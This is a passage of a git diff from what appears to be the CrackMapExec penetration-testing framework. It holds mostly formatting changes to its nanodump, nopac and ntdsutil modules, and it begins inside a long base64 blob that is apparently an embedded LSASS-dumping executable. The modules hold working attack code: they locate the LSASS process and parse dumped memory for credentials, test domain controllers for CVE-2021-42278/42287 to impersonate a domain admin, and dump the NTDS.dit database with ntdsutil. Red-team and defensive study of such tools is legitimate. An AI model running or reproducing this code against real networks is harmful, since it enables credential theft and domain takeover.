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wAADZAkdldFN0YXJ0dXBJbmZvQQBQA0hlYXBBbGxvYwBWA0hlYXBGcmVlAABtA0luaXRpYWxpemVDcml0aWNhbFNlY3Rpb24AjQNJc0RCQ1NMZWFkQnl0ZUV4AADNA0xlYXZlQ3JpdGljYWxTZWN0aW9uAADRA0xvYWRMaWJyYXJ5QQAAAARNdWx0aUJ5dGVUb1dpZGVDaGFyAFoFU2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAGoFU2xlZXAAjQVUbHNHZXRWYWx1ZQC9BVZpcnR1YWxQcm90ZWN0AADABVZpcnR1YWxRdWVyeQAA8gVXaWRlQ2hhclRvTXVsdGlCeXRlADoAX19nZXRtYWluYXJncwA7AF9faW5pdGVudgBFAF9fbWJfY3VyX21heAAATABfX3BfX2FjbWRsbgBOAF9fcF9fY29tbW9kZQAAUwBfX3BfX2Ztb2RlAABoAF9fc2V0X2FwcF90eXBlAABrAF9fc2V0dXNlcm1hdGhlcnIAAI4AX2Ftc2dfZXhpdAAAnwBfY2V4aXQAAEIBX2Vycm5vAABSAV9pbml0dGVybQBWAV9pb2IAALkBX2xvY2sAOgJfb25leGl0AOECX3VubG9jawAfA193Y3NpY21wAACaA2Fib3J0AKMDYXRvaQAApwNjYWxsb2MAALEDZXhpdAAAwgNmcHJpbnRmAMQDZnB1dGMAyQNmcmVlAADWA2Z3cml0ZQAA/wNsb2NhbGVjb252AAADBG1hbGxvYwAABgRtYnN0b3djcwAACgRtZW1jbXAAAAsEbWVtY3B5AAANBG1lbXNldAAAHQRyYW5kAAAmBHNldGxvY2FsZQAoBHNpZ25hbAAALgRzcmFuZAA0BHN0cmNocgAAOgRzdHJlcnJvcgAAPARzdHJsZW4AAD8Ec3RybmNtcABABHN0cm5jcHkAQwRzdHJyY2hyAEQEc3Ryc3BuAABhBHZmcHJpbnRmAADLAnRpbWUAAHsEd2NzbGVuAAB8BHdjc25jYXQAfwR3Y3NuY3B5AIYEd2Nzc3RyAAAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAS0VSTkVMMzIuZGxsAAAAABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABAG1zdmNydC5kbGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACARQAAAAAAAAAAAABAQQAAAAAAAAAAAAEB/QADwfkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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" + ) self.nano = "nano.exe" self.nano_path = "" self.useembeded = True @@ -92,7 +96,7 @@ class CMEModule: else: self.context.log.fail("Unsupported Windows architecture") sys.exit(1) - + if self.context.protocol == "smb": with open(self.nano_path + self.nano, "rb") as nano: try: @@ -120,7 +124,7 @@ class CMEModule: display_output = True if self.context.protocol == "smb" else False self.context.log.debug(f"Display Output: {display_output}") # get LSASS PID via `tasklist` - command = "tasklist /v /fo csv | findstr /i \"lsass\"" + command = 'tasklist /v /fo csv | findstr /i "lsass"' self.context.log.display(f"Getting LSASS PID via command {command}") p = self.connection.execute(command, display_output) self.context.log.debug(f"tasklist Command Result: {p}") @@ -196,14 +200,14 @@ class CMEModule: fh = open(filename, "r+b") fh.seek(0) - fh.write(b'\x4d\x44\x4d\x50') + fh.write(b"\x4d\x44\x4d\x50") fh.seek(4) - fh.write(b'\xa7\x93') + fh.write(b"\xa7\x93") fh.seek(6) - fh.write(b'\x00\x00') - fh.close() - - with open(filename, 'rb') as dump: + fh.write(b"\x00\x00") + fh.close() + + with open(filename, "rb") as dump: try: bh_creds = [] try: @@ -219,7 +223,7 @@ class CMEModule: "livessp_creds", "kerberos_creds", "credman_creds", - "tspkg_creds" + "tspkg_creds", ] for luid in pypy_parse.logon_sessions: @@ -245,11 +249,16 @@ class CMEModule: connection.domain, username, credential, - pillaged_from=host_id + pillaged_from=host_id, ) if "." not in domain and domain.upper() in self.connection.domain.upper(): domain = self.connection.domain - bh_creds.append({"username": username.upper(), "domain": domain.upper()}) + bh_creds.append( + { + "username": username.upper(), + "domain": domain.upper(), + } + ) if len(bh_creds) > 0: add_user_bh(bh_creds, None, self.context.log, self.connection.config) except Exception as e: diff --git a/cme/modules/nopac.py b/cme/modules/nopac.py index 6f0053ba..d3c81d2c 100644 --- a/cme/modules/nopac.py +++ b/cme/modules/nopac.py @@ -1,7 +1,7 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- # Credit to https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html -# @exploitph @Evi1cg +# @exploitph @Evi1cg # module by @mpgn_x64 from binascii import unhexlify @@ -9,8 +9,8 @@ from impacket.krb5.kerberosv5 import getKerberosTGT from impacket.krb5 import constants from impacket.krb5.types import Principal -class CMEModule: +class CMEModule: name = "nopac" description = "Check if the DC is vulnerable to CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user" supported_protocols = ["smb"] @@ -18,8 +18,7 @@ class CMEModule: multiple_hosts = True def options(self, context, module_options): - """ - """ + """ """ def on_login(self, context, connection): user_name = Principal(connection.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) @@ -32,7 +31,7 @@ class CMEModule: unhexlify(connection.nthash), connection.aesKey, connection.host, - requestPAC=True + requestPAC=True, ) context.log.highlight("TGT with PAC size " + str(len(tgt_with_pac))) tgt_no_pac, cipher, old_session_key, session_key = getKerberosTGT( @@ -43,7 +42,7 @@ class CMEModule: unhexlify(connection.nthash), connection.aesKey, connection.host, - requestPAC=False + requestPAC=False, ) context.log.highlight("TGT without PAC size " + str(len(tgt_no_pac))) if len(tgt_no_pac) < len(tgt_with_pac): diff --git a/cme/modules/ntdsutil.py b/cme/modules/ntdsutil.py index 694a6592..b3979435 100644 --- a/cme/modules/ntdsutil.py +++ b/cme/modules/ntdsutil.py @@ -8,16 +8,18 @@ from impacket.examples.secretsdump import LocalOperations, NTDSHashes from cme.helpers.logger import highlight from cme.helpers.misc import validate_ntlm + class CMEModule: """ - Dump NTDS with ntdsutil - Module by @zblurx + Dump NTDS with ntdsutil + Module by @zblurx """ - name = 'ntdsutil' - description = 'Dump NTDS with ntdsutil' - supported_protocols = ['smb'] - opsec_safe= True + + name = "ntdsutil" + description = "Dump NTDS with ntdsutil" + supported_protocols = ["smb"] + opsec_safe = True multiple_hosts = False def options(self, context, module_options): @@ -34,58 +36,70 @@ class CMEModule: self.dir_result = self.dir_result = tempfile.mkdtemp() self.no_delete = False - if 'DIR_RESULT' in module_options: - self.dir_result = os.path.abspath(module_options['DIR_RESULT']) + if "DIR_RESULT" in module_options: + self.dir_result = os.path.abspath(module_options["DIR_RESULT"]) self.no_delete = True def on_admin_login(self, context, connection): command = "powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full %s%s' q q\"" % (self.tmp_dir, self.dump_location) - context.log.display('Dumping ntds with ntdsutil.exe to %s%s' % (self.tmp_dir,self.dump_location)) - context.log.highlight('Dumping the NTDS, this could take a while so go grab a redbull...') - context.log.debug('Executing command {}'.format(command)) + context.log.display("Dumping ntds with ntdsutil.exe to %s%s" % (self.tmp_dir, self.dump_location)) + context.log.highlight("Dumping the NTDS, this could take a while so go grab a redbull...") + context.log.debug("Executing command {}".format(command)) p = connection.execute(command, True) context.log.debug(p) - if 'success' in p: + if "success" in p: context.log.success("NTDS.dit dumped to %s%s" % (self.tmp_dir, self.dump_location)) else: context.log.fail("Error while dumping NTDS") return os.makedirs(self.dir_result, exist_ok=True) - 